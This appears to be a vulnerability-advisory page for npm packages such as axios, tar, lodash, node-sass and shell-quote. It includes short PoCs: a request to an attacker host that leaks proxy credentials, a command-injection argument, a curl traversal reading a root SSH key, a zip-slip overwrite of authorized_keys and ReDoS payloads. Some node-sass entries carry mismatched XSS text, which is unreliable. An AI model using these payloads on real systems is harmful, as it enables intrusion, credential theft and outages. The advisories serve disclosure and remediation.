Find, fix and prevent vulnerabilities in your code.

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to NULL Pointer Dereference in the function Sass::Functions::selector_append which could be leveraged by an attacker to cause a denial of service (application crash) or possibly have unspecified other impact. node-sass is affected by this vulnerability due to its bundled usage of libsass.

Remediation

There is no fixed version for node-sass.

References

• GitHub Commit
• GitHub Commit
• POC: GitHub Issue

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to NULL Pointer Dereference. An issue was discovered in LibSass through 3.5.4. A NULL pointer dereference was found in the function Sass::Inspect::operator which could be leveraged by an attacker to cause a denial of service (application crash) or possibly have unspecified other impact.

Remediation

Upgrade node-sass to version 4.11.0 or higher.

References

• GitHub Commit
• POC: GitHub Issue

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to NULL Pointer Dereference via the function Sass::Expand::operator which could be leveraged by an attacker to cause a denial of service (application crash) or possibly have unspecified other impact. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade node-sass to version 4.9.0 or higher.

References

• GitHub Commit
• GitHub Commit 3.5.3
• GitHub PR
• POC: Potential Exploit

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Use After Free via the SharedPtr class in SharedPtr.cpp (or SharedPtr.hpp) that may cause a denial of service (application crash) or possibly have unspecified other impact. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

There is no fixed version for node-sass.

References

• GitHub Commit
• NVD

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain sensitive proxy credentials by controlling a redirect target and causing the application to follow a redirect from a proxied request to a direct connection, resulting in the Proxy-Authorization header being sent to the attacker's server.

Note:

This is only exploitable if the application is running in Node.js with automatic redirects enabled and uses an authenticated proxy configuration, where the redirect target resolves to a direct connection (such as when HTTPS_PROXY is unset or excluded by NO_PROXY).

Workaround

This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, or by ensuring proxy environment variables are configured consistently across protocols to prevent unexpected changes from proxied to direct connections.

PoC

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

await axios.get('http://attacker.example/start');

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR
• GitHub Release
• GitHub Release

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeConfig function. An attacker can cause the application to crash by supplying a malicious configuration object containing a __proto__ property, typically by leveraging JSON.parse().

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://domain/get", maliciousConfig);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.30.3, 1.13.5 or higher.

References

• GitHub Commit
• GitHub PR
• GitHub Release

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion through the toFormData recursive serializer in lib/helpers/toFormData.js. An attacker can crash a process by supplying a deeply nested object as request data or params, causing unbounded recursion and a call-stack overflow during multipart/form-data or query-string serialization.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

PoC

const { argument } = require('cross-spawn/lib/util/escape');
var str = "";
for (var i = 0; i < 1000000; i++) {
  str += "\\";
}
str += "◎";

console.log("start")
argument(str)
console.log("end")

// run `npm install cross-spawn` and `node attack.js` 
// then the program will stuck forever with high CPU usage

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade cross-spawn to version 6.0.6, 7.0.5 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Infinite loop in the extractPartialStreams() and corresponding extraction functions for HEIF, JP2, and JXL. An attacker supplying an image whose requested box declares a size of zero can hang the parser indefinitely.

Note: This is a bypass of the fix for the vulnerability described in CVE-2025-71319.

Remediation

There is no fixed version for image-size.

References

• GitHub PR
• Vulnerability Report
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Infinite loop in icns.js. An ICNS file with an icon entry whose declared length is zero can hang the parser indefinitely.

Remediation

There is no fixed version for image-size.

References

• GitHub PR
• Vulnerability Report
• Vulnerable Code

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the matchOne function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.

Remediation

Upgrade minimatch to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.

References

• GitHub Commit

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the AST class, caused by catastrophic backtracking when an input string contains many * characters in a row, followed by an unmatched character.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade minimatch to version 3.1.3, 4.2.4, 5.1.7, 6.2.1, 7.4.7, 8.0.5, 9.0.6, 10.2.1 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via improper enforcement of the arrayLimit option in bracket notation parsing. An attacker can exhaust server memory and cause application unavailability by submitting a large number of bracket notation parameters - like a[]=1&a[]=2 - in a single HTTP request.

PoC

const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)

Remediation

Upgrade qs to version 6.14.1 or higher.

References

• GitHub Commit

Overview

whet.extend is an A sharped version of port of jQuery.extend that actually works on node.js

Affected versions of this package are vulnerable to Prototype Pollution due to improper user input sanitization when using the extend and _findValue functions.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

There is no fixed version for whet.extend.

References

• Vulnerable Code

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Arbitrary Code Injection due the improper validation of options.imports key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.

Notes:

1. Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.

2. This issue is due to the incomplete fix for CVE-2021-23337.

Remediation

Upgrade lodash to version 4.18.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Issue
• OpenJS Security Advisory

Overview

lodash.template is a The Lodash method _.template exported as a Node.js module.

Affected versions of this package are vulnerable to Arbitrary Code Injection due the improper validation of options.imports key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.

Notes:

1. Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.

2. This issue is due to the incomplete fix for CVE-2021-23337.

Remediation

Upgrade lodash.template to version 4.18.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Issue
• OpenJS Security Advisory

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.

This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory, where the symlink and directory names in the archive entry used backslashes as a path separator on posix systems. The cache checking logic used both \ and / characters as path separators. However, \ is a valid filename character on posix systems.

By first creating a directory, and then replacing that directory with a symlink, it is possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location. This can lead to extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite.

Additionally, a similar confusion could arise on case-insensitive filesystems. If a tar archive contained a directory at FOO, followed by a symbolic link named foo, then on case-insensitive file systems, the creation of the symbolic link would remove the directory from the filesystem, but not from the internal directory cache, as it would not be treated as a cache hit. A subsequent file entry within the FOO directory would then be placed in the target of the symbolic link, thinking that the directory had already been created.

Remediation

Upgrade tar to version 6.1.7, 5.0.8, 4.4.16 or higher.

References

• GitHub Commit

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.

This logic is insufficient when extracting tar files that contain two directories and a symlink with names containing unicode values that normalized to the same value. Additionally, on Windows systems, long path portions would resolve to the same file system entities as their 8.3 "short path" counterparts. A specially crafted tar archive can include directories with two forms of the path that resolve to the same file system entity, followed by a symbolic link with a name in the first form, lastly followed by a file using the second form. This leads to bypassing node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and extracting arbitrary files into that location.

Remediation

Upgrade tar to version 6.1.9, 5.0.10, 4.4.18 or higher.

References

• GitHub Commit

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. This is, in part, accomplished by sanitizing absolute paths of entries within the archive, skipping archive entries that contain .. path portions, and resolving the sanitized paths against the extraction target directory.

This logic is insufficient on Windows systems when extracting tar files that contain a path that is not an absolute path, but specify a drive letter different from the extraction target, such as C:some\path. If the drive letter does not match the extraction target, for example D:\extraction\dir, then the result of path.resolve(extractionDirectory, entryPath) resolves against the current working directory on the C: drive, rather than the extraction target directory.

Additionally, a .. portion of the path can occur immediately after the drive letter, such as C:../foo, and is not properly sanitized by the logic that checks for .. within the normalized and split portions of the path.

Note: This only affects users of node-tar on Windows systems.

Remediation

Upgrade tar to version 6.1.9, 5.0.10, 4.4.18 or higher.

References

• GitHub Commit

Overview

shell-quote is a package used to quote and parse shell commands.

Affected versions of this package are vulnerable to Command Injection. The quote function does not properly escape the following special characters <, >, ;, {, } , and as a result can be used by an attacker to inject malicious shell commands or leak sensitive information.

Proof of Concept

Consider the following poc.js application

var quote = require('shell-quote').quote;
var exec = require('child_process').exec;

var userInput = process.argv[2];

var safeCommand = quote(['echo', userInput]);

exec(safeCommand, function (err, stdout, stderr) {
  console.log(stdout);
});

Running the following command will not only print the character a as expected, but will also run the another command, i.e touch malicious.sh

$ node poc.js 'a;{touch,malicious.sh}'

Remediation

Upgrade shell-quote to version 1.6.1 or higher.

References

• GitHub Comparison

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via the extract() function. An attacker can read or write files outside the intended extraction directory by causing the application to extract a malicious archive containing a chain of symlinks leading to a hardlink, which bypasses path validation checks.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.8 or higher.

References

• GitHub Commit
• GitHub Commit

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution in the request configuration merge process. An attacker can access sensitive request configuration data, including authentication credentials and response data, and alter the response returned to the application by injecting a malicious function into Object.prototype.transformResponse prior to the request.

Note: This is only exploitable if a separate vulnerability or attacker-controlled code has polluted Object.prototype with a function-valued transformResponse property before the request is made.

PoC

import http from 'http';
import axios from 'axios';

const seen = [];

const server = http.createServer((req, res) => {
  res.setHeader('Content-Type', 'application/json');
  res.end(JSON.stringify({ secret: 'response-secret' }));
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
  if (headers && typeof status === 'number') {
    seen.push({
      url: this.url,
      username: this.auth && this.auth.username,
      password: this.auth && this.auth.password,
      responseData: data
    });

    return { hijacked: true };
  }

  return true;
};

try {
  const { port } = server.address();

  const response = await axios.get(`http://127.0.0.1:${port}/users`, {
    auth: { username: 'svc-account', password: 'prod-secret-key-123' }
  });

  console.log(response.data); // { hijacked: true }
  console.log(seen[0]);       // request config plus original response body
} finally {
  delete Object.prototype.transformResponse;

  server.close();
}

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.2 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

ajv is an Another JSON Schema Validator

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper validation of the pattern keyword when combined with $data references. An attacker can cause the application to become unresponsive and exhaust CPU resources by submitting a specially crafted regular expression payload.

Note:

This is only exploitable if the $data option is enabled.

PoC

const Ajv = require('ajv');

// Vulnerable configuration — $data enables runtime pattern injection
const ajv = new Ajv({ $data: true });

const schema = {
  type: 'object',
  properties: {
    pattern: { type: 'string' },
    value: {
      type: 'string',
      pattern: { $data: '1/pattern' }  // Pattern comes from the data itself
    }
  }
};

const validate = ajv.compile(schema);

// Malicious payload — both the pattern and the triggering input
const maliciousPayload = {
  pattern: '^(a|a)*$',           // Catastrophic backtracking pattern
  value: 'a'.repeat(30) + 'X'    // 30 'a's followed by 'X' to force full backtracking
};

console.time('attack');
validate(maliciousPayload);       // Blocks the entire Node.js process for ~44 seconds
console.timeEnd('attack');

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

